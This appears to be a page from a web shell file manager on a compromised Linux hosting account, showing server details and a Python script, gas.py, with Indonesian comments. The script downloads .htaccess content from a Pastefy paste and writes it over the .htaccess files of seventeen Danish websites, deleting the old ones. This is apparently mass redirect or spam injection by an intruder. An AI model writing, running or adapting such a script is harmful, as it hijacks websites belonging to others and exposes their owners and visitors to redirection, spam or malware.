HEX
Server: LiteSpeed
System: Linux cde4.duelhost.dk 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64
User: dmhkjfau (1027)
PHP: 7.4.33
Disabled: exec,system,passthru,shell_exec,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/dmhkjfau/public_html/root/gas.py
import os
import urllib.request

# Daftar domain sesuai yang kamu berikan
domain_list = [
    "stics.dk",
    "alto.dk",
    "badehaandklaeder.dk",
    "cpc.dk",
    "gaabil.dk",
    "graviditetstoej.dk",
    "henna.dk",
    "hundetaeppe.dk",
    "instruktoerstol.dk",
    "lille-skrivebord.dk",
    "satin.dk",
    "snedkerkoekken.dk",
    "traadloes-stoevsuger.dk",
    "traehylder.dk",
    "traeningsshorts.dk",
    "traeningstights.dk",
    "trellebaenk.dk"
]

# URL mentah (.htaccess baru) dari Pastefy
pastefy_url = "https://pastefy.app/SyL7C7Xn/raw"

def update_htaccess_for_domains():
    print("[-] Sedang mengunduh konten .htaccess terbaru...")
    try:
        # Mengunduh isi file .htaccess dari Pastefy
        req = urllib.request.Request(
            pastefy_url, 
            headers={'User-Agent': 'Mozilla/5.0'}
        )
        with urllib.request.urlopen(req) as response:
            new_htaccess_content = response.read()
        print("[+] Berhasil mengunduh konten .htaccess!")
    except Exception as e:
        print(f"[!] Gagal mengunduh dari Pastefy: {e}")
        return

    # Iterasi setiap domain dalam daftar
    for domain in domain_list:
        # Menyusun path direktori public_html secara dinamis
        public_html_path = f"/home/dmhkjfau/domains/{domain}/public_html"
        htaccess_path = os.path.join(public_html_path, ".htaccess")

        print(f"\n[*] Memproses domain: {domain}")

        # Pastikan direktori public_html target benar-benar ada di server
        if os.path.exists(public_html_path):
            # 1. Hapus .htaccess lama jika ada
            if os.path.exists(htaccess_path):
                try:
                    os.remove(htaccess_path)
                    print(f"    -> Berhasil menghapus .htaccess lama di {domain}")
                except Exception as e:
                    print(f"    -> Gagal menghapus .htaccess lama: {e}")
            else:
                print(f"    -> File .htaccess lama tidak ditemukan, lanjut proses pembuatan.")

            # 2. Upload / Buat .htaccess baru dengan konten yang diunduh
            try:
                with open(htaccess_path, 'wb') as f:
                    f.write(new_htaccess_content)
                # Mengatur permission file agar aman (biasanya 644)
                os.chmod(htaccess_path, 0o644)
                print(f"    -> Berhasil menginstal .htaccess baru di {domain}!")
            except Exception as e:
                print(f"    -> Gagal menulis file .htaccess baru: {e}")
        else:
            print(f"    -> Direktori tidak ditemukan: {public_html_path}")

    print("\n[+] Selesai! Semua proses pembaruan .htaccess telah dijalankan.")

if __name__ == "__main__":
    update_htaccess_for_domains()